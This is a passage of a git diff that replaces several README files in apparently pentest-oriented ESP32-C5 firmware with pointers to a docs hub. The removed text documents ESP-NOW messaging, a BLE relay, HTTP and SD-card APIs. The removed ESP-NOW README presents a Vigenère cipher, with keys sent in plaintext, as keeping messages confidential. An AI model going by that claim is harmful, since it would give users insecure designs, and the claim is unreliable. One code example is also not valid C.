`0x8500` (Response + Authoritative). - - Appends the original Question section. - - Appends an Answer section pointing to the AP's IP address (TTL 60s). +- [docs/dns_server/README.md](../../../../docs/dns_server/README.md) -### Configuration -- **Stack Size:** 4096 bytes (Safe for logging and network operations). -- **Socket Timeout:** 1 second (allows graceful shutdown checks). +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_c5/components/Service/esp_now/README.md b/firmware_c5/components/Service/esp_now/README.md index 1242a27ba..f7b4e5171 100644 --- a/firmware_c5/components/Service/esp_now/README.md +++ b/firmware_c5/components/Service/esp_now/README.md @@ -1,104 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/esp_now/README.md`](../../../../docs/esp_now/README.md). - # ESP-NOW Service -The **ESP-NOW Service** is the low-level communication backbone for the Highboy project. It abstracts the ESP-IDF `esp_now` driver, providing a robust, connectionless messaging layer with auto-discovery, persistent peer management, and software-based security. - -## Features - -- **Connectionless Communication**: Uses ESP-NOW (WiFi Vendor Specific Elements) to send small packets instantly without WiFi association. -- **Auto-Discovery**: "Hello" broadcast packets allow devices to find each other. -- **Auto-Pairing (The "Cat Jump" Logic)**: Automatically registers any device from which a packet is received, allowing immediate reply without manual pairing. -- **Smart Peer Management**: - - **Volatile (Session)**: Stores discovered peers in PSRAM (or RAM) to show who is currently online. - - **Permanent**: Saves trusted peers to `addresses.conf` (JSON). -- **Software Security**: - - Implements a Vigenère Cipher for message payloads to bypass ESP-NOW hardware limits (6-20 peers) while keeping packets ASCII-compatible. - - **Secure Handshake**: Special `KEY_SHARE` packet type to exchange keys automatically. -- **Configuration Persistence**: Saves Nickname, Online Status, and Encryption Keys to `chat.conf`. - -## Architecture - -### Packet Structure -The service uses a packed struct to ensure consistent data alignment over the air. - -| Field | Type | Size | Description | -|-------|------|------|-------------| -| `type` | `uint8_t` | 1 byte | Packet intent (see below). | -| `nick` | `char[]` | 16 bytes | Sender's nickname. | -| `text` | `char[]` | 201 bytes | Message content or Key payload. | - -### Message Types -1. **`HELLO` (0x01)**: Broadcast packet. Sent to `FF:FF:FF:FF:FF:FF`. Used for discovery. -2. **`MSG` (0x02)**: Direct message (Unicast). Encrypted if a key is set. -3. **`KEY_SHARE` (0x03)**: Handshake packet. Sent unencrypted containing the generated session key in the `text` field. - -### File System Integration -The service relies on the **Assets Partition** for configuration: - -1. **`/assets/config/chat/chat.conf`**: - ```json - { - "nick": "Highboy_User", - "online": true, - "key": "SecretKey123" - } - ``` -2. **`/assets/config/chat/addresses.conf`**: - ```json - [ - { "mac": "AA:BB:CC:DD:EE:FF", "name": "Friend_Device" } - ] - ``` - -## API Reference - -### Initialization -```c -esp_err_t service_esp_now_init(void); -void service_esp_now_deinit(void); -``` -Initializes ESP-NOW, registers callbacks, loads configuration, and allocates memory for the session list. - -### Configuration -```c -esp_err_t service_esp_now_set_nick(const char *nick); -const char* service_esp_now_get_nick(void); -esp_err_t service_esp_now_set_online(bool online); // Toggle TX/RX -bool service_esp_now_is_online(void); -esp_err_t service_esp_now_set_key(const char *key); // Sets encryption key -``` - -### Messaging -```c -// Send HELLO to Broadcast (Discovery) -esp_err_t service_esp_now_broadcast_hello(void); - -// Send Text Message (Auto-encrypts if key is set) -esp_err_t service_esp_now_send_msg(const uint8_t *target_mac, const char *text); - -// Initiate Secure Handshake (Generates key if missing, sends KEY_SHARE) -esp_err_t service_esp_now_secure_pair(const uint8_t *target_mac); -``` - -### Peer Management -```c -// Get list of currently visible devices (from RAM/PSRAM) -int service_esp_now_get_session_peers(service_esp_now_peer_info_t *out_peers, int max_peers); - -// Save a peer permanently to addresses.conf -esp_err_t service_esp_now_save_peer_to_conf(const uint8_t *mac_addr, const char *name); -``` - -### Callbacks -```c -typedef void (*service_esp_now_recv_cb_t)(const uint8_t *mac_addr, const service_esp_now_packet_t *data, int8_t rssi); -typedef void (*service_esp_now_send_cb_t)(const uint8_t *mac_addr, esp_now_send_status_t status); +Documentation for this component lives in the project docs hub (single source of truth): -void service_esp_now_register_recv_cb(service_esp_now_recv_cb_t cb); -void service_esp_now_register_send_cb(service_esp_now_send_cb_t cb); -``` +- [docs/esp_now/README.md](../../../../docs/esp_now/README.md) -## Security Note regarding `peer.encrypt` -We explicitly set `peer.encrypt = false` in the hardware driver. -**Reason**: ESP32 hardware encryption limits the peer list drastically (approx. 10 devices). By implementing software encryption (Vigenère) on the payload, we allow **unlimited peers** while maintaining confidentiality and enabling instant "fire-and-forget" messaging without complex hardware handshake requirements. +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_c5/components/Service/host_link/README.md b/firmware_c5/components/Service/host_link/README.md index a441ab0bc..377970c9c 100644 --- a/firmware_c5/components/Service/host_link/README.md +++ b/firmware_c5/components/Service/host_link/README.md @@ -1,55 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/host_link/c5.md`](../../../../docs/host_link/c5.md). - # Host Link — C5 (BLE relay + log tee) -The companion app's **BLE transport terminates on the ESP32-C5** (it owns the BLE -radio). The C5 is a **transparent byte relay**: it ferries opaque host-link frames -to/from the P4 over the SPI bridge and forwards its own logs up. **All -crypto/auth lives on the P4** — the C5 never parses companion payloads. - -Mirrors the proven Meshtastic/MeshCore phone-bridge pattern. - -- Unified cross-firmware overview: [`docs/host_link/README.md`](../../../../docs/host_link/README.md) -- Wire format: [`docs/host_link/protocol.md`](../../../../docs/host_link/protocol.md) - -This README is the **C5 component reference** (BLE relay + log tee). - -## Files - -| File | Role | -|------|------| -| `host_link_gatt.c` | NimBLE GATT server (NUS-style): a **write** char (app→device) and a **notify** char (device→app). "Just works" LE Secure Connections (no MITM). Splits notifications by ATT MTU; the app reassembles by frame `LEN`. | -| `host_transport.c` | Chunk/reassembly between BLE and SPI. BLE write → `SPI_ID_HOST_RX` stream (C5→P4). `SPI_ID_HOST_TX` chunks (P4→C5) → reassemble → BLE notify. Reuses `spi_mesh_chunk_hdr_t`. | -| `c5_log.c` | C5 log tee (`esp_log_set_vprintf`): keeps the local dev console, ANSI strip + level, drop-oldest ring, worker → `SPI_ID_SYSTEM_LOG` stream (C5→P4) as `[level u8][utf-8 text]`. | - -## SPI ops (category `SPI_CAT_HOST = 0x06`, in `spi_protocol.h`) - -| Op | Id | Direction | Purpose | -|----|----|-----------|---------| -| `SPI_ID_HOST_BLE_INIT` | `0x06A0` | P4→C5 cmd | start GATT + advertise (`spi_host_init_t { name_prefix }`) | -| `SPI_ID_HOST_BLE_STOP` | `0x06A1` | P4→C5 cmd | stop GATT | -| `SPI_ID_HOST_TX` | `0x06A2` | P4→C5 cmd (push) | device→app bytes → BLE notify | -| `SPI_ID_HOST_RX` | `0x06A3` | C5→P4 stream | app→device bytes (BLE write) | -| `SPI_ID_HOST_STATUS` | `0x06A4` | P4→C5 cmd | poll `spi_host_status_t { ble_connected, ble_subscribed }` | - -`SPI_ID_SYSTEM_LOG` (`0x0007`, C5→P4 stream) carries the forwarded log lines. - -## Dispatch - -`SPI_CAT_HOST` is routed to `bt_dispatcher_execute` (alongside `SPI_CAT_BT` / -`SPI_CAT_MCORE`) in `spi_bridge.c`. The handlers call into `host_transport` / -`host_link_gatt`. - -## Boot wiring (`kernel.c`) - -`c5_log_init()` runs right after `spi_bridge_slave_init()` (it pushes to the SPI -stream). The GATT server is started on demand by the P4 (`SPI_ID_HOST_BLE_INIT`), -not at boot, so it doesn't hog NimBLE from the BLE attack features. +Documentation for this component lives in the project docs hub (single source of truth): -## Caveats +- [docs/host_link/c5.md](../../../../docs/host_link/c5.md) -- **NimBLE is single-owner**: host-link BLE, MeshCore, and Meshtastic each refuse - to init while another holds NimBLE. -- The C5 log stream is always enabled on this side; the P4 drops the resulting - `LOG` frames when no companion session is active, and the **log-over-BLE** - toggle (P4) gates BLE delivery. Build-validated; **not yet hardware-tested**. +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_c5/components/Service/http_server/README.md b/firmware_c5/components/Service/http_server/README.md index b0e087d5f..8ca0a6259 100644 --- a/firmware_c5/components/Service/http_server/README.md +++ b/firmware_c5/components/Service/http_server/README.md @@ -1,118 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/http_server/README.md`](../../../../docs/http_server/README.md). - # HTTP Server Service Component Documentation -This component provides an abstraction layer over ESP-IDF's native `esp_http_server`, facilitating initialization, request handling, response sending, and file system (SD Card) integration for the Highboy project. - -## Overview - -- **Location:** `components/Service/http_server/` -- **Main Header:** `include/http_server_service.h` -- **Implementation:** `http_server_service.c` - -The service manages the web server lifecycle (start/stop), route registration (URIs), and offers utilities for reading HTML files from storage and handling standard HTTP errors. - -## API Functions - -### Server Management - -#### `start_web_server` -```c -esp_err_t start_web_server(void); -``` -Starts the HTTP server with default configurations, enabling `lru_purge_enable` to manage old connections. - -#### `stop_http_server` -```c -esp_err_t stop_http_server(void); -``` -Stops the HTTP server if it is running and frees associated resources. - -#### `http_service_register_uri` -```c -esp_err_t http_service_register_uri(const httpd_uri_t *uri_handler); -``` -Registers a URI handler (route) on the active server. Returns an error if the server is not started. - -### Request and Response Handling - -#### `http_service_req_recv` -```c -esp_err_t http_service_req_recv(httpd_req_t *req, char *buffer, size_t buffer_size); -``` -Receives the content (body) of a request with safety checks for buffer size. -- Returns `ESP_ERR_INVALID_SIZE` if the content is larger than the buffer. -- Automatically handles timeouts. - -#### `http_service_query_key_value` -```c -esp_err_t http_service_query_key_value(const char *data_buffer, const char *key, char *out_val, size_t out_size); -``` -Extracts the value of a specific key from a query string (URL encoded). Handles cases where the key is not found or the value is truncated. - -#### `http_service_send_response` -```c -esp_err_t http_service_send_response(httpd_req_t *req, const char *buffer, ssize_t length); -``` -Sends a generic HTTP response. -- If `buffer` is `NULL`, it automatically sends a 500 error. - -#### `http_service_send_error` -```c -esp_err_t http_service_send_error(httpd_req_t *req, http_status_t status_code, const char *msg); -``` -Sends a standardized HTTP error response, mapping the internal `http_status_t` enum to ESP-IDF error codes (`httpd_err_code_t`). - -### Storage Integration (SD Card) - -#### `get_html_buffer` -```c -const char *get_html_buffer(const char *path); -``` -Reads an entire file from the specified path (usually from the SD Card) and returns a dynamically allocated buffer containing the data, null-terminated (`\0`). -- **Note:** The caller is responsible for freeing the returned memory (see Casting note below). - -#### `http_service_send_file_from_sd` -```c -esp_err_t http_service_send_file_from_sd(httpd_req_t *req, const char *filepath); -``` -Combines `get_html_buffer` and `http_service_send_response` to read a file and send it directly as a response to the request. Automatically frees the buffer memory after sending. - ---- - -## Castings and Implementation Details - -Below are listed all explicit "castings" (type conversions) performed in the source code `http_server_service.c`, which are fundamental for memory allocation and opaque type manipulation. - -### 1. File Buffer Allocation -**Location:** Function `get_html_buffer` -```c -char *buffer = (char *)malloc(file_size + 1); -``` -- **From:** `void *` (generic return from `malloc`) -- **To:** `char *` -- **Reason:** The pointer returned by `malloc` needs to be treated as a character string to store the file content and the null terminator. - -### 2. Constant Memory Deallocation -**Location:** Function `http_service_send_file_from_sd` -```c -free((void*)html_content); -``` -- **From:** `const char *` (type of `html_content` variable) -- **To:** `void *` -- **Reason:** The `get_html_buffer` function returns a `const char *` to semantically indicate that the receiver should not alter its content. However, to free this memory with `free()`, it is necessary to remove the `const` qualifier via a cast to `void *`; otherwise, the compiler would emit a warning or error, since `free` expects a pointer to mutable memory (even though it only frees it). - ---- +Documentation for this component lives in the project docs hub (single source of truth): -## Auxiliary Data Structures +- [docs/http_server/README.md](../../../../docs/http_server/README.md) -### `http_status_t` -Enumeration defined in `http_server_service.h` to abstract HTTP status codes and facilitate internal mapping: -- `HTTP_STATUS_OK_200` -- `HTTP_STATUS_CREATED_201` -- `HTTP_STATUS_BAD_REQUEST_400` -- `HTTP_STATUS_UNAUTHORIZED_401` -- `HTTP_STATUS_FORBIDDEN_403` -- `HTTP_STATUS_NOT_FOUND_404` -- `HTTP_STATUS_REQUEST_TIMEOUT_408` -- `HTTP_STATUS_INTERNAL_ERROR_500` +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_c5/components/Service/sd_card/README.md b/firmware_c5/components/Service/sd_card/README.md index 199ccac48..223e49e54 100644 --- a/firmware_c5/components/Service/sd_card/README.md +++ b/firmware_c5/components/Service/sd_card/README.md @@ -1,964 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/sd_card/c5.md`](../../../../docs/sd_card/c5.md). - # SD Directory Management Component -Component for managing directories on SD card storage. - -## Overview - -- **Location:** `components/storage/sd_dir/` -- **Main Header:** `include/sd_dir.h` -- **Dependencies:** `esp_vfs`, `esp_vfs_fat`, `sdmmc`, `storage_sd` - -## Key Features - -- **Directory Operations:** Create, delete, list, and check existence -- **Recursive Operations:** Remove trees, copy directories, calculate sizes -- **Predefined Paths:** System-wide constants for organizing data -- **Callback System:** Efficient iteration with custom callbacks -- **Statistics:** Count files/directories, calculate storage usage - -## Predefined System Directories - -| Constant | Path | Purpose | -|----------|------|---------| -| `SD_BASE_PATH` | `/sdcard` | Root mount point | -| `SD_DIR_IR` | `/ir` | Infrared signal files | -| `SD_DIR_BADUSB` | `/badusb` | DuckyScript payloads | -| `SD_DIR_NFC` | `/nfc` | NFC tag data | -| `SD_DIR_RFID` | `/rfid` | RFID card data | -| `SD_DIR_SUBGHZ` | `/subghz` | Sub-GHz captures | -| `SD_DIR_CONFIG` | `/config` | Configuration files | -| `SD_DIR_LOGS` | `/logs` | Application logs | -| `SD_DIR_BACKUP` | `/backups` | System backups | - -**Note:** Paths are relative to `SD_BASE_PATH`. Use `SD_BASE_PATH SD_DIR_BADUSB` → `/sdcard/badusb` - -## API Reference - -### Directory Creation & Deletion - -#### `sd_dir_create` -```c -esp_err_t sd_dir_create(const char *path); -``` -Creates directory with automatic parent creation (like `mkdir -p`). - -**Returns:** `ESP_OK` on success, `ESP_FAIL` on failure. - ---- - -#### `sd_dir_remove_recursive` -```c -esp_err_t sd_dir_remove_recursive(const char *path); -``` -Recursively deletes directory and all contents. **Use with caution.** - -**Returns:** `ESP_OK` on success, `ESP_FAIL` on failure. - ---- - -### Directory Information - -#### `sd_dir_exists` -```c -bool sd_dir_exists(const char *path); -``` -Checks if directory exists. - -**Returns:** `true` if exists, `false` otherwise. - ---- - -#### `sd_dir_list` -```c -typedef void (*sd_dir_callback_t)(const char *name, bool is_dir, void *user_data); -esp_err_t sd_dir_list(const char *path, sd_dir_callback_t callback, void *user_data); -``` -Iterates through directory entries, calling callback for each item. - -**Example:** -```c -void print_entry(const char *name, bool is_dir, void *user_data) { - printf("%s %s\n", is_dir ? "[DIR]" : "[FILE]", name); -} -sd_dir_list("/sdcard/badusb", print_entry, NULL); -``` - ---- - -#### `sd_dir_count` -```c -esp_err_t sd_dir_count(const char *path, uint32_t *file_count, uint32_t *dir_count); -``` -Counts files and subdirectories (non-recursive). - -**Returns:** `ESP_OK` on success. - ---- - -#### `sd_dir_get_size` -```c -esp_err_t sd_dir_get_size(const char *path, uint64_t *total_size); -``` -Calculates total size of all files in directory tree (recursive). - -**Returns:** `ESP_OK` on success. - ---- - -### Directory Operations - -#### `sd_dir_copy_recursive` -```c -esp_err_t sd_dir_copy_recursive(const char *src, const char *dst); -``` -Copies entire directory tree, preserving structure. - -**Returns:** `ESP_OK` on success. - ---- - -## Implementation Details - -- All functions require full paths including `SD_BASE_PATH` -- Functions are not thread-safe - use mutexes for concurrent access -- Recursive operations may fail on deeply nested directories - -## Usage Example - -```c -void init_storage_structure(void) { - const char *dirs[] = {SD_DIR_IR, SD_DIR_BADUSB, SD_DIR_CONFIG, SD_DIR_LOGS}; - - for (int i = 0; i < 4; i++) { - char path[64]; - snprintf(path, sizeof(path), "%s%s", SD_BASE_PATH, dirs[i]); - sd_dir_create(path); - } -} -``` - ---- - -# SD Card Information Component - -Component for querying SD card hardware and filesystem statistics. - -## Overview - -- **Location:** `components/storage/sd_card_info/` -- **Main Header:** `include/sd_card_info.h` -- **Dependencies:** `esp_vfs_fat`, `sdmmc_cmd`, `ff`, `storage_sd` - -## Key Features - -- **Hardware Info:** Card name, capacity, speed, type -- **Filesystem Stats:** Total, used, free space with percentages -- **Mount Status:** Check if card is accessible -- **Debug Output:** Console logging of card information - -## Data Structures - -### `sd_card_info_t` -```c -typedef struct { - char name[16]; // Card manufacturer name - uint32_t capacity_mb; // Total capacity in MB - uint32_t sector_size; // Sector size in bytes - uint32_t num_sectors; // Total number of sectors - uint32_t speed_khz; // Max speed in kHz - uint8_t card_type; // Card type identifier - bool is_mounted; // Mount status -} sd_card_info_t; -``` - -### `sd_fs_stats_t` -```c -typedef struct { - uint64_t total_bytes; // Total capacity - uint64_t used_bytes; // Space in use - uint64_t free_bytes; // Available space -} sd_fs_stats_t; -``` - -## API Reference - -### Card Information - -#### `sd_get_card_info` -```c -esp_err_t sd_get_card_info(sd_card_info_t *info); -``` -Retrieves complete hardware information. - -**Returns:** `ESP_OK`, `ESP_ERR_INVALID_STATE`, or `ESP_ERR_INVALID_ARG`. - ---- - -#### `sd_print_card_info` -```c -void sd_print_card_info(void); -``` -Prints formatted card information to console. - ---- - -### Filesystem Statistics - -#### `sd_get_fs_stats` -```c -esp_err_t sd_get_fs_stats(sd_fs_stats_t *stats); -``` -Retrieves complete filesystem statistics. - -**Returns:** `ESP_OK`, `ESP_ERR_INVALID_STATE`, `ESP_ERR_INVALID_ARG`, or `ESP_FAIL`. - ---- - -#### `sd_get_free_space` -```c -esp_err_t sd_get_free_space(uint64_t *free_bytes); -``` -Gets available free space. - ---- - -#### `sd_get_total_space` -```c -esp_err_t sd_get_total_space(uint64_t *total_bytes); -``` -Gets total filesystem capacity. - ---- - -#### `sd_get_used_space` -```c -esp_err_t sd_get_used_space(uint64_t *used_bytes); -``` -Gets space currently in use. - ---- - -#### `sd_get_usage_percent` -```c -esp_err_t sd_get_usage_percent(float *percentage); -``` -Calculates usage percentage (0.0 to 100.0). - ---- - -### Individual Attributes - -#### `sd_get_card_name` -```c -esp_err_t sd_get_card_name(char *name, size_t size); -``` -Gets manufacturer name. - ---- - -#### `sd_get_capacity` -```c -esp_err_t sd_get_capacity(uint32_t *capacity_mb); -``` -Gets total capacity in MB. - ---- - -#### `sd_get_speed` -```c -esp_err_t sd_get_speed(uint32_t *speed_khz); -``` -Gets maximum communication speed. - ---- - -#### `sd_get_card_type` -```c -esp_err_t sd_get_card_type(uint8_t *type); -``` -Gets raw card type identifier. - ---- - -#### `sd_get_card_type_name` -```c -esp_err_t sd_get_card_type_name(char *type_name, size_t size); -``` -Gets human-readable card type string. - ---- - -## Implementation Details - -- Uses FatFS `f_getfree()` for filesystem stats -- Accesses SDMMC layer for hardware information -- All functions verify mount status before access -- Thread-safe for read operations - -## Usage Example - -```c -void check_storage_health(void) { - sd_card_info_t info; - float usage; - - if (sd_get_card_info(&info) == ESP_OK && - sd_get_usage_percent(&usage) == ESP_OK) { - - printf("Card: %s (%lu MB)\n", info.name, info.capacity_mb); - printf("Usage: %.1f%%\n", usage); - - if (usage > 90.0f) { - printf("WARNING: Low disk space!\n"); - } - } -} -``` - ---- - -# SD Card Initialization Component - -Component for SD card initialization, mounting, and lifecycle management. - -## Overview - -- **Location:** `components/storage/sd_card_init/` -- **Main Header:** `include/sd_card_init.h` -- **Dependencies:** `esp_vfs_fat`, `driver/sdspi_host`, `sdmmc_cmd`, `spi`, `pin_def` - -## Key Features - -- **Simple Initialization:** One-function setup with defaults -- **Custom Configuration:** Control max files, auto-format, allocation size -- **Mount Management:** Mount, unmount, remount, check status -- **Shared SPI Bus:** Integration with centralized SPI driver -- **Health Monitoring:** Basic health checks -- **Card Handle Access:** Low-level SDMMC handle for advanced use - -## Configuration - -```c -#define SD_MOUNT_POINT "/sdcard" // VFS mount point -#define SD_MAX_FILES 5 // Max open files -#define SD_ALLOCATION_UNIT 16 * 1024 // 16KB cluster size -#define SDMMC_FREQ_DEFAULT 20000 // 20MHz speed -``` - -## API Reference - -### Initialization - -#### `sd_init` -```c -esp_err_t sd_init(void); -``` -Initializes SD card with default settings. - -**Returns:** `ESP_OK`, `ESP_ERR_INVALID_STATE`, or `ESP_FAIL`. - ---- - -#### `sd_init_custom` -```c -esp_err_t sd_init_custom(uint8_t max_files, bool format_if_failed); -``` -Initializes with custom parameters. - -**Warning:** `format_if_failed=true` erases all data on mount failure. - ---- - -#### `sd_init_custom_pins` -```c -esp_err_t sd_init_custom_pins(int mosi, int miso, int clk, int cs); -``` -**Deprecated:** Custom pins not supported with shared SPI driver. - ---- - -### Deinitialization - -#### `sd_deinit` -```c -esp_err_t sd_deinit(void); -``` -Unmounts SD card and releases resources. Close all files first. - -**Returns:** `ESP_OK`, `ESP_ERR_INVALID_STATE`, or `ESP_FAIL`. - ---- - -### Status & Maintenance - -#### `sd_is_mounted` -```c -bool sd_is_mounted(void); -``` -Checks if SD card is mounted. - ---- - -#### `sd_remount` -```c -esp_err_t sd_remount(void); -``` -Unmounts and remounts SD card (useful for error recovery). - ---- - -#### `sd_check_health` -```c -esp_err_t sd_check_health(void); -``` -Performs basic health check. - ---- - -#### `sd_reset_bus` -```c -esp_err_t sd_reset_bus(void); -``` -**Not Supported:** Returns `ESP_ERR_NOT_SUPPORTED`. Use `sd_remount()` instead. - ---- - -### Advanced Access - -#### `sd_get_card_handle` -```c -sdmmc_card_t* sd_get_card_handle(void); -``` -Returns pointer to internal SDMMC card structure. Returns `NULL` if not mounted. - -**Warning:** Direct manipulation can interfere with VFS operations. - ---- - -## Implementation Details - -### SPI Configuration -```c -spi_device_config_t sd_cfg = { - .cs_pin = SD_CARD_CS_PIN, - .clock_speed_hz = 20000 * 1000, - .mode = 0, - .queue_size = 4, -}; -``` - -### Mount Configuration -```c -esp_vfs_fat_sdmmc_mount_config_t mount_config = { - .format_if_mount_failed = false, - .max_files = 5, - .allocation_unit_size = 16 * 1024, -}; -``` - -## Troubleshooting - -| Problem | Solutions | -|---------|-----------| -| `sd_init()` returns `ESP_FAIL` | Check card insertion, verify pins, try different card, enable debug logs | -| File operations fail | Check filesystem corruption, verify max_files limit, close file handles, try remount | -| Random disconnects | Check power supply, verify connections, reduce clock speed, add pull-ups | -| `sd_deinit()` fails | Close all file handles first, check for active tasks | - -## Usage Example - -```c -void storage_init(void) { - if (sd_init() == ESP_OK) { - ESP_LOGI(TAG, "SD card mounted"); - sd_dir_create("/sdcard/config"); - } else { - ESP_LOGE(TAG, "SD card mount failed"); - } -} -``` - ---- - -# SD Card Read Component - -Component for comprehensive SD card file reading operations. - -## Overview - -- **Location:** `components/storage/sd_card_read/` -- **Main Header:** `include/sd_card_read.h` -- **Dependencies:** `esp_vfs_fat`, `storage_sd` - -## Key Features - -- **Text Reading:** Entire files, specific lines, line-by-line processing -- **Binary Reading:** Raw data, chunks, individual bytes -- **Type Conversion:** Direct reading of integers, floats -- **Content Search:** String search and occurrence counting -- **Flexible Paths:** Automatic `/sdcard` prefix for relative paths - -## Configuration - -```c -#define MAX_PATH_LEN 256 // Maximum path length -#define MAX_LINE_LEN 512 // Maximum line length -``` - -## API Reference - -### Text Reading - -#### `sd_read_string` -```c -esp_err_t sd_read_string(const char *path, char *buffer, size_t buffer_size); -``` -Reads entire file as null-terminated string. - ---- - -#### `sd_read_line` -```c -esp_err_t sd_read_line(const char *path, char *buffer, size_t buffer_size, uint32_t line_number); -``` -Reads specific line (1-based index). - ---- - -#### `sd_read_first_line` -```c -esp_err_t sd_read_first_line(const char *path, char *buffer, size_t buffer_size); -``` -Reads first line. Equivalent to `sd_read_line(path, buffer, size, 1)`. - ---- - -#### `sd_read_last_line` -```c -esp_err_t sd_read_last_line(const char *path, char *buffer, size_t buffer_size); -``` -Reads last line. - ---- - -#### `sd_read_lines` -```c -typedef void (*sd_line_callback_t)(const char *line, void *user_data); -esp_err_t sd_read_lines(const char *path, sd_line_callback_t callback, void *user_data); -``` -Processes each line via callback. Memory-efficient for large files. - ---- - -#### `sd_count_lines` -```c -esp_err_t sd_count_lines(const char *path, uint32_t *line_count); -``` -Counts total lines in file. - ---- - -### Binary Reading - -#### `sd_read_binary` -```c -esp_err_t sd_read_binary(const char *path, void *buffer, size_t size, size_t *bytes_read); -``` -Reads raw binary data. - ---- - -#### `sd_read_chunk` -```c -esp_err_t sd_read_chunk(const char *path, size_t offset, void *buffer, size_t size, size_t *bytes_read); -``` -Reads data chunk from specific offset. - ---- - -#### `sd_read_bytes` -```c -esp_err_t sd_read_bytes(const char *path, uint8_t *bytes, size_t max_count, size_t *count); -``` -Alias for `sd_read_binary` with byte array typing. - ---- - -#### `sd_read_byte` -```c -esp_err_t sd_read_byte(const char *path, uint8_t *byte); -``` -Reads single byte. - ---- - -### Type Conversion - -#### `sd_read_int` -```c -esp_err_t sd_read_int(const char *path, int32_t *value); -``` -Reads and converts to 32-bit integer. - ---- - -#### `sd_read_float` -```c -esp_err_t sd_read_float(const char *path, float *value); -``` -Reads and converts to float. - ---- - -### Content Search - -#### `sd_file_contains` -```c -esp_err_t sd_file_contains(const char *path, const char *search, bool *found); -``` -Checks if string exists in file. - ---- - -#### `sd_count_occurrences` -```c -esp_err_t sd_count_occurrences(const char *path, const char *search, uint32_t *count); -``` -Counts string occurrences in file. - ---- - -## Implementation Details - -- Line functions allocate 512-byte stack buffers -- Use `sd_read_lines()` callback for large files -- Thread-safe for different files -- Automatic path formatting (relative → absolute) - -## Usage Example - -```c -void process_config(void) { - char buffer[256]; - - // Read entire file - if (sd_read_string("/config/settings.txt", buffer, sizeof(buffer)) == ESP_OK) { - printf("Config: %s\n", buffer); - } - - // Process line-by-line - sd_read_lines("/logs/system.log", [](const char *line, void *ctx) { - printf("Log: %s\n", line); - }, NULL); -} -``` - ---- - -# SD Card Write Component - -Component for comprehensive SD card file writing operations. - -## Overview - -- **Location:** `components/storage/sd_card_write/` -- **Main Header:** `include/sd_card_write.h` -- **Dependencies:** `esp_vfs_fat`, `storage_sd` - -## Key Features - -- **Text Writing:** Strings, lines, formatted text -- **Binary Writing:** Raw data, buffers, individual bytes -- **Append Operations:** Add to existing files -- **Formatted Output:** Printf-style writing -- **CSV Support:** Simplified row writing - -## API Reference - -### Text Writing - -#### `sd_write_string` / `sd_append_string` -```c -esp_err_t sd_write_string(const char *path, const char *data); -esp_err_t sd_append_string(const char *path, const char *data); -``` -Writes or appends string. - ---- - -#### `sd_write_line` / `sd_append_line` -```c -esp_err_t sd_write_line(const char *path, const char *line); -esp_err_t sd_append_line(const char *path, const char *line); -``` -Writes or appends line with automatic newline. - ---- - -#### `sd_write_formatted` / `sd_append_formatted` -```c -esp_err_t sd_write_formatted(const char *path, const char *format, ...); -esp_err_t sd_append_formatted(const char *path, const char *format, ...); -``` -Printf-style formatted writing. - ---- - -### Binary Writing - -#### `sd_write_binary` / `sd_append_binary` -```c -esp_err_t sd_write_binary(const char *path, const void *data, size_t size); -esp_err_t sd_append_binary(const char *path, const void *data, size_t size); -``` -Writes or appends binary data. - ---- - -#### `sd_write_buffer` -```c -esp_err_t sd_write_buffer(const char *path, const void *buffer, size_t size); -``` -Alias for `sd_write_binary`. - ---- - -#### `sd_write_bytes` -```c -esp_err_t sd_write_bytes(const char *path, const uint8_t *bytes, size_t count); -``` -Writes byte array. - ---- - -#### `sd_write_byte` -```c -esp_err_t sd_write_byte(const char *path, uint8_t byte); -``` -Writes single byte. - ---- - -### Type Helpers - -#### `sd_write_int` -```c -esp_err_t sd_write_int(const char *path, int32_t value); -``` -Writes integer as decimal text. - ---- - -#### `sd_write_float` -```c -esp_err_t sd_write_float(const char *path, float value); -``` -Writes float with 6 decimal places. - ---- - -### CSV Support - -#### `sd_write_csv_row` / `sd_append_csv_row` -```c -esp_err_t sd_write_csv_row(const char *path, const char **columns, size_t num_columns); -esp_err_t sd_append_csv_row(const char *path, const char **columns, size_t num_columns); -``` -Writes or appends CSV row (comma-separated with newline). - ---- - -## Implementation Details - -- All writes verify byte count matches expected size -- Automatic `/sdcard` prefix for relative paths -- Buffers flushed automatically on file close - -## Usage Example - -```c -void log_event(const char *type, const char *msg) { - time_t now = time(NULL); - sd_append_formatted("/logs/events.log", "[%ld] %s: %s\n", now, type, msg); -} - -void save_sensor_data(float temp, float humidity) { - const char *row[] = { - "Temperature", "Humidity" - }; - sd_write_csv_row("/data/sensors.csv", row, 2); - - char temp_str[16], hum_str[16]; - snprintf(temp_str, sizeof(temp_str), "%.2f", temp); - snprintf(hum_str, sizeof(hum_str), "%.2f", humidity); - - const char *data[] = {temp_str, hum_str}; - sd_append_csv_row("/data/sensors.csv", data, 2); -} -``` - ---- - -# SD Card File Management Component - -Component for comprehensive SD card file operations. - -## Overview - -- **Location:** `components/storage/sd_card_file/` -- **Main Header:** `include/sd_card_file.h` -- **Dependencies:** `esp_vfs`, `esp_vfs_fat`, `sdmmc`, `storage_sd` - -## Key Features - -- **File Operations:** Create, delete, rename, move, copy -- **Metadata Access:** Size, modification time, attributes -- **File Comparison:** Byte-by-byte comparison -- **File Truncation:** Resize to specific length -- **Utilities:** Check existence, get extensions, clear contents - -## Data Structures - -### `sd_file_info_t` -```c -typedef struct { - char path[256]; // Full path - size_t size; // File size in bytes - time_t modified_time; // Last modification time - bool is_directory; // Directory flag -} sd_file_info_t; -``` - -## API Reference - -### File Information - -#### `sd_file_exists` -```c -bool sd_file_exists(const char *path); -``` -Checks if file exists. - ---- - -#### `sd_file_get_info` -```c -esp_err_t sd_file_get_info(const char *path, sd_file_info_t *info); -``` -Retrieves complete file information. - ---- - -#### `sd_file_get_size` -```c -esp_err_t sd_file_get_size(const char *path, size_t *size); -``` -Gets file size in bytes. - ---- - -#### `sd_file_is_empty` -```c -esp_err_t sd_file_is_empty(const char *path, bool *is_empty); -``` -Checks if file has zero bytes. - ---- - -### File Manipulation - -#### `sd_file_delete` -```c -esp_err_t 